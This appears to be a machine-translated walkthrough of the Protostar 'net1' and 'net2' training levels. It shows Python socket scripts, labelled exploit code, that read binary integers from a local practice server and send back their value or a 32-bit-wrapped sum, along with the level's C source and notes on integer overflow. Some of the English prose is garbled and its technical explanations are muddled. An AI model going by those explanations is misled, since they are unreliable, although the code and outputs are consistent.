(Python) -> vim net1.py
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = "127.0.0.1"
PORT = 2998
s.connect((HOST, PORT))
n = s.recv(4)
print n
print repr(n)
print n.encode('hex')
N = struct.unpack("I", n)[0] # (1234, ) <- a tuple
print N
s.send(str(N))
print s.recv(1024)
-> The "struct" module can be used to convert raw binary data back to unsigned.
-> Enter an integer, and then send the string back to the server.
-> The actual number "unpacked" is the first because "construct unpack" returns the tuple.
: Let's try again.
-> python net1.py
T▒▒j
'T\x9b\xd7j'
549bd76a
1792514900
you correctly sent the data
-> Success!
-> Assume the server because the reception stops and nothing gets when you wait for the data.
-> The data is already lost in the "recv" data when it is transferred too fast, buffered, buffered, and finally ready.
-> Once successful, the attack was successful even if it wasn't perfect.
-> The episodes are too short and they are not really about security.
: Exploit Code(Python Code)
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = "127.0.0.1"
PORT = 2998
s.connect((HOST, PORT))
n = s.recv(4)
print n
print repr(n)
print n.encode('hex')
N = struct.unpack("I", n)[0]
print N
s.send(str(N))
print s.recv(1024)
: The next episode, "net2," is very similar and has a network setup with a program waiting to be received on port 2997.
: C Code(/opt/protostar/bin/net2)
#include "../common/common.c"
#define NAME "net2"
#define UID 997
#define GID 997
#define PORT 2997
void run()
{
unsigned int quad[4];
int i;
unsigned int result, wanted;
result = 0;
for(i = 0; i < 4; i++) {
quad[i] = random();
result += quad[i];
if(write(0, &(quad[i]), sizeof(result)) != sizeof(result)) {
errx(1, ":(\n");
}
}
if(read(0, &wanted, sizeof(result)) != sizeof(result)) {
errx(1, ":<\n");
}
if(result == wanted) {
printf("you added them correctly\n");
} else {
printf("sorry, try again. invalid\n");
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
/* Don't do this :> */
srandom(time(NULL));
run();
}
-> In the "run" function, we add all the sum of any number and send it over the network each time we see a "for" loop that runs four times.
-> It is also explained that four 32-bit integers should be added.
-> And it alreadt warns us about the possibility of it wrapping.
-> Warning about overflow integer or an appropriate term.
-> This has to do with security.
: Copy the "net1.py" script, modify it to read the four integers, and then calculate the total.
-> cp net1.py net2.py
(Python) -> vim net2.py
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = "127.0.0.1"
PORT = 2997
s.connect((HOST, PORT))
n = s.recv(4)
n += s.recv(4)
n += s.recv(4)
n += s.recv(4)
print n
print repr(n)
print n.encode('hex')
N = struct.unpack("IIII", n)
print N
sN = sum(N)
print sN
s.send(struct.pack("I", sN))
print s.recv(1024)
-> It is also possible to simply extend the "struct unpack" modifier and then create a sum.
-> The code expects the result to be a raw binary, not an "ASCII" decimal expression.
-> So we can use "struct pack" to "convert" the binary string.
-> python net2.py
T▒▒▒tv▒▒▒▒k
'\x1b\x13bT\xc7\xc5\xcdtv\xa2\xd8\x15\xd3\x02\x93k'
1b136254c7c5cd7476a2d815d302936b
(1415713563, 1959642567, 366518902, 1804796627)
5546671659 # sum
net2.py:19: DeprecationWarning: struct integer overflow masking is deprecated
s.send(struct.pack("I", sN))
you added them correctly # Oops, it worked???
-> The truth is, I wanted to show this didn't work, but I failed.
-> The sum results of the binary show that it contains more
-> The integer is 32 bits.
-> So what happens is that the essence simply overflows or envelopes.
-> This means that the highest bit of care has been lost.
-> But it's not true.
-> "CPU" actually knows this when performing arithmetic.
-> A computation such as addition sets a flag that overflows the value of the register and identifies the special overflow.
-> However, in this case, the server and the uncoded integer are always shortened.
-> And obviously this old Python structural version actually worked it for us, but it's no longer in use.
: You can make it the same by simply modifying it in the code.
(Python) -> vim net2.py
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = "127.0.0.1"
PORT = 2997
s.connect((HOST, PORT))
n = s.recv(4)
n += s.recv(4)
n += s.recv(4)
n += s.recv(4)
print n
print repr(n)
print n.encode('hex')
N = struct.unpack("IIII", n)
print N
sN = sum(N)
print sN
s.send(struct.pack("I", sN & 0xffffffff))
print s.recv(1024)
-> python net2.py
]▒L▒▒▒▒w.▒
/h
']\xa7\x04L\xb0\xf3\xb9\x13\x9a\xc7w.\xa8\x0b/h'
5da7044cb0f3b9139ac7772ea80b2f68
(1275373405, 330953648, 779601818, 1747913640)
4133842511
you added them correctly
-> Perfect Success!
: This problem can be found by searching for an integer overflow.
-> Create a simple example of a common integer overflow problem.
-> Suppose you have a loop that continues to read the data and adds size to the total size.
-> When the loop is complete, you can see the amount of data that must be allocated space.
-> The problem is that if you send too much data now, the counter will overflow and rap.
-> When more space is allocated to large amounts of data, it is a typical overflow condition.
: Exploit Code(Python Code)
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = "127.0.0.1"
PORT = 2997
s.connect((HOST, PORT))
n = s.recv(4)
n += s.recv(4)
n += s.recv(4)
n += s.recv(4)
print n
print repr(n)
print n.encode('hex')
N = struct.unpack("IIII", n)
print N
sN = sum(N)
print sN
s.send(struct.pack("I", sN & 0xffffffff))
print s.recv(1024)